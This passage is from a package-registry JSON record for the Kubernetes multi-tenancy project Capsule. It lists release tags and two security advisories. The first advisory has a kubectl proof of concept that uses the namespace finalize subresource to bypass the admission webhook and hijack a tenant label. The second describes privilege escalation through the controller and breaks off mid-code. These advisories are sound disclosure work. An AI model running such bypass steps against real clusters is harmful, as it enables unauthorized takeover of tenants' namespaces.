ency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.12/manifests"},{"name":"v0.1.2","sha":"a36c7545db9e8791210dde1d5d62b4bead3aa2cc","kind":"commit","published_at":"2022-07-26T18:41:33.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.1.2","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.2/manifests"},{"name":"helm-v0.1.11","sha":"a36c7545db9e8791210dde1d5d62b4bead3aa2cc","kind":"commit","published_at":"2022-07-26T18:41:33.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.1.11","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.1.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.11/manifests"},{"name":"helm-v0.1.10","sha":"da3d42801b571aea9aa3d1c8f7a0bfaad7927c62","kind":"commit","published_at":"2022-07-18T06:49:33.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.1.10","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.10/manifests"},{"name":"v0.1.2-rc1","sha":"261876b59bfb6733674028271f2881e7aa3dc91d","kind":"commit","published_at":"2022-06-29T10:53:35.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.1.2-rc1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.1.2-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.1.2-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.2-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.2-rc1/manifests"},{"name":"v0.1.2-rc0","sha":"deb0858fae27d3f890311e0e80979ca46be32666","kind":"commit","published_at":"2022-05-23T07:17:20.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.1.2-rc0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.1.2-rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.1.2-rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.2-rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.2-rc0/manifests"},{"name":"helm-v0.1.8","sha":"afae361627dc349c3bdc2590b026873233026874","kind":"commit","published_at":"2022-04-07T08:16:03.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.1.8","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.8/manifests"},{"name":"helm-v0.1.7","sha":"0bfca6b60e022ec57c7b89cb46da130841d026b2","kind":"commit","published_at":"2022-03-31T07:28:16.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.1.7","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.7/manifests"},{"name":"helm-v0.1.6","sha":"0b199f413602b86924d5d3ce48975c7ff4ad252a","kind":"commit","published_at":"2022-01-18T16:26:24.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.1.6","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.6/manifests"},{"name":"v0.1.1","sha":"1bbaebbc90ac159cb54f3b89790cfd4017a31ccc","kind":"commit","published_at":"2022-01-11T09:35:29.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.1.1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.1/manifests"},{"name":"helm-v0.1.5","sha":"6e08eaa8ace10a32b989c5c385a966b6a1906868","kind":"commit","published_at":"2022-01-11T08:55:56.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.1.5","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.5/manifests"},{"name":"helm-v0.1.4","sha":"bc23324fe7dea69d709f063c8be18a82491fac74","kind":"commit","published_at":"2021-12-21T06:43:03.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.1.4","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.4/manifests"},{"name":"v0.1.1-rc1","sha":"5c7804e1bfef0ecc5389bc1f24449489036ff9dd","kind":"commit","published_at":"2021-11-12T10:22:26.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.1.1-rc1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.1.1-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.1.1-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.1-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.1-rc1/manifests"},{"name":"helm-v0.1.3","sha":"260b60d2634254c231a948c5c92fbad61c74e378","kind":"commit","published_at":"2021-10-24T15:04:58.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.1.3","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.3/manifests"},{"name":"helm-v0.1.2","sha":"0f7284d1909abc9150de076730cbea084b1a83c1","kind":"commit","published_at":"2021-09-29T07:59:12.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.1.2","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.2/manifests"},{"name":"helm-v0.1.1","sha":"7a66e8ea93e651c48fc1297522831d2a29cbfc5d","kind":"commit","published_at":"2021-09-23T15:57:25.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.1.1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.1/manifests"},{"name":"helm-v0.1.1-rc0","sha":"738ca3d7a5c7adef767892403e814884a3c8c32c","kind":"tag","published_at":"2021-09-23T13:38:37.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.1.1-rc0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.1.1-rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.1.1-rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.1-rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.1-rc0/manifests"},{"name":"v0.1.1-rc0","sha":"b28b98a7bcdbf5f1cecf216707874702bd750743","kind":"commit","published_at":"2021-09-23T12:10:24.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.1.1-rc0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.1.1-rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.1.1-rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.1-rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.1-rc0/manifests"},{"name":"v0.1.0","sha":"7979c256d9f1f35bcfc91f3d23494bc240cec8a6","kind":"commit","published_at":"2021-08-23T15:09:36.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.1.0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.0/manifests"},{"name":"helm-v0.1.0","sha":"7979c256d9f1f35bcfc91f3d23494bc240cec8a6","kind":"commit","published_at":"2021-08-23T15:09:36.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/helm-v0.1.0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/helm-v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@helm-v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/helm-v0.1.0/manifests"},{"name":"v0.1.0-rc6","sha":"a2fda441106b2b500656eaf0b11be3125d65eb71","kind":"commit","published_at":"2021-08-12T17:30:27.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.1.0-rc6","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.1.0-rc6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.1.0-rc6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.0-rc6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.0-rc6/manifests"},{"name":"v0.1.0-rc5","sha":"c0d4aab582b70043049fa9b69e5a757f89054614","kind":"commit","published_at":"2021-07-21T14:48:13.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.1.0-rc5","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.1.0-rc5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.1.0-rc5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.0-rc5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.0-rc5/manifests"},{"name":"v0.1.0-rc4","sha":"ba690480a70272197a9473af8a771f13b45602b3","kind":"commit","published_at":"2021-07-20T09:21:40.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.1.0-rc4","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.1.0-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.1.0-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.0-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.0-rc4/manifests"},{"name":"v0.1.0-rc3","sha":"eb19a7a89f712f4bdfa52906ee83dd9922652235","kind":"commit","published_at":"2021-07-12T09:27:13.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.1.0-rc3","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.1.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.1.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.0-rc3/manifests"},{"name":"v0.1.0-rc2","sha":"25f021e151a7c93e648b91a834baf4bb655ba1d9","kind":"commit","published_at":"2021-06-25T10:03:07.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.1.0-rc2","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.1.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.1.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.0-rc2/manifests"},{"name":"v0.1.0-rc1","sha":"a7fff597fac8c2c40afb37aa8e8f998ee1dfa6d2","kind":"commit","published_at":"2021-05-31T14:15:44.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.1.0-rc1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.1.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.1.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.1.0-rc1/manifests"},{"name":"v0.0.5","sha":"37ec9911d9564bcb46163b1c2c6936a007a91f98","kind":"commit","published_at":"2021-03-17T16:28:57.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.0.5","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.0.5/manifests"},{"name":"v0.0.5-rc2","sha":"4119a69e02d498f382f8e3bacfce6eebdf20b821","kind":"commit","published_at":"2021-03-06T19:50:55.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.0.5-rc2","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.0.5-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.0.5-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.0.5-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.0.5-rc2/manifests"},{"name":"v0.0.5-rc1","sha":"16906db309ab5d8a952bb818e600601dd990d31c","kind":"commit","published_at":"2021-01-21T06:11:59.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.0.5-rc1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.0.5-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.0.5-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.0.5-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.0.5-rc1/manifests"},{"name":"v0.0.4","sha":"d2700556dd06f002059bc1e349b0afa3f101d449","kind":"commit","published_at":"2021-01-13T22:49:11.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.0.4","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.0.4/manifests"},{"name":"v0.0.3","sha":"064135057583aec25af472d10873ab14bf72ca7b","kind":"commit","published_at":"2020-11-25T16:15:20.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.0.3","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.0.3/manifests"},{"name":"0.2.0-rc1","sha":"078588acb540309fe9bb36b5aa699a866b2eae8e","kind":"commit","published_at":"2020-11-10T16:43:30.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/0.2.0-rc1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/0.2.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@0.2.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/0.2.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/0.2.0-rc1/manifests"},{"name":"v0.0.2","sha":"078588acb540309fe9bb36b5aa699a866b2eae8e","kind":"commit","published_at":"2020-11-10T16:43:30.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.0.2","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.0.2/manifests"},{"name":"0.0.1","sha":"aee6e72f1e1b05f4581114b44d6dbd76d36e4e25","kind":"commit","published_at":"2020-09-16T18:50:15.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/0.0.1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/0.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@0.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/0.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/0.0.1/manifests"},{"name":"v0.0.1","sha":"aee6e72f1e1b05f4581114b44d6dbd76d36e4e25","kind":"commit","published_at":"2020-09-16T18:50:15.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.0.1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.0.1/manifests"}]},"repo_metadata_updated_at":"2026-03-20T02:01:26.531Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":10.674804107815286,"dependent_packages_count":8.55785476436527,"stargazers_count":1.8078709652319118,"forks_count":2.3446670870048854,"docker_downloads_count":null,"average":5.8462992311043385},"purl":"pkg:golang/github.com/projectcapsule/capsule","advisories":[{"uuid":"GSA_kwCzR0hTQS1nd3hyLTdoNzctNzc3N84ABY40","url":"https://github.com/advisories/GHSA-gwxr-7h77-7777","title":"Capsule: Incomplete fix of CVE-2026-30963: singular/plural typo leaves namespaces/finalize unprotected","description":"### Summary\nCapsule v0.13.2 webhook rules contain `namespace/finalize` (singular) instead of `namespaces/finalize` (plural). K8s requires plural. The finalize defense from CVE-2026-30963 fix is absent.\n\n### Details\nPUT to `/api/v1/namespaces/\u003cns\u003e/finalize` has resource=namespaces (plural). The singular rule never matches. `matchPolicy: Equivalent` does not compensate.\n\n### PoC\nConfirmed on kind + Capsule v0.13.2. alice (non-admin with namespaces/finalize RBAC): `kubectl label --as=alice` = DENIED (control). `kubectl replace --raw /finalize --as=alice` = 200 OK (bypass). Tenant label changed.\n\n### Impact\nNamespace tenant-label hijack. Same threat model as CVE-2026-30963. One-char fix: `namespace/finalize` -\u003e `namespaces/finalize`.\nThe CVE-2026-30963 fix in Capsule v0.13.2 added subresource entries to the namespace validating webhook, but `charts/capsule/templates/configuration.yaml` line 105 contains a singular/plural typo: `namespace/finalize` instead of `namespaces/finalize`. Kubernetes webhook rules require the plural resource name. The finalize subresource defense is entirely absent.\n\n### Details\nIn Kubernetes admission webhooks, `rules.resources` matches against the plural resource name. A PUT to `/api/v1/namespaces/\u003cns\u003e/finalize` has `resource=namespaces` (plural). The rule `namespace/finalize` (singular) never matches any real API request.\n\nThe `matchPolicy: Equivalent` setting does NOT compensate (it handles API group/version variations, not resource name typos).\n\n### PoC\nConfirmed on kind cluster + Capsule v0.13.2 (Helm chart):\n```bash\n# Setup: alice with namespaces/finalize RBAC\nkubectl apply -f - \u003c\u003cEOF\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: ns-finalize-updater\nrules:\n- apiGroups: [\"\"]\n-   resources: [\"namespaces/finalize\"]\n-   verbs: [\"update\"]\n- - apiGroups: [\"\"]\n-   resources: [\"namespaces\"]\n-   verbs: [\"get\", \"list\"]\n- EOF\n- kubectl create clusterrolebinding alice-finalize --clusterrole=ns-finalize-updater --user=alice\n# Control: normal label change DENIED\nkubectl label namespace oil-prod capsule.clastix.io/tenant=evil --overwrite --as=alice\n# Error: admission webhook denied\n\n# Bypass: finalize changes tenant label (webhook NOT invoked)\nkubectl get namespace oil-prod -o json \u003e /tmp/ns.json\n# modify tenant label to \"hijacked\"\nkubectl replace --raw \"/api/v1/namespaces/oil-prod/finalize\" -f /tmp/ns_modified.json --as=alice\n# 200 OK - tenant label changed\n```\n\n### Impact\nNamespace tenant-label hijack via the finalize subresource bypass. Same threat model as CVE-2026-30963. One-character fix needed: `namespace/finalize` -\u003e `namespaces/finalize`.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-17T18:14:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:H/A:L","references":["https://github.com/projectcapsule/capsule/security/advisories/GHSA-gwxr-7h77-7777","https://github.com/advisories/GHSA-gwxr-7h77-7777"],"source_kind":"github","identifiers":["GHSA-gwxr-7h77-7777","CVE-2026-55636"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-17T19:00:08.493Z","updated_at":"2026-06-29T05:00:24.666Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nd3hyLTdoNzctNzc3N84ABY40","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nd3hyLTdoNzctNzc3N84ABY40","packages":[{"ecosystem":"go","package_name":"github.com/projectcapsule/capsule","versions":[{"first_patched_version":"0.13.6","vulnerable_version_range":"\u003e= 0.13.0, \u003c 0.13.6"}],"purl":"pkg:go/github.com%2Fprojectcapsule%2Fcapsule"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nd3hyLTdoNzctNzc3N84ABY40/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xamptLTdqOXctcHc3Ms4ABXpL","url":"https://github.com/advisories/GHSA-qjjm-7j9w-pw72","title":"Capsule TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability","description":"# TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability\n\n\n## Summary\n\nThe Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller's elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.\n\n---\n\n## Details\n\n### Vulnerability Location\n\nFile: `internal/controllers/resources/processor.go`\nFunction: `HandleSection()`\nLines: 247-285\n\n### Core Issues\n\n1. **Excessive Controller Privileges**: The Controller's ServiceAccount is bound to the cluster-admin ClusterRole\n   ```yaml\n   # ClusterRoleBinding: capsule-manager-rolebinding\n   roleRef:\n     kind: ClusterRole\n     name: cluster-admin\n   ```\n\n2. **Missing Resource Scope Validation**: Although the code calls `obj.SetNamespace(ns.Name)`, this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field\n\n3. **Missing Resource Type Validation**: No check for whether resources are cluster-scoped\n\n### Vulnerable Code Analysis\n\n```go\n// internal/controllers/resources/processor.go\nfor rawIndex, item := range spec.RawItems {\n    template := string(item.Raw)\n\n    t := fasttemplate.New(template, \"{{ \", \" }}\")\n    tmplString := 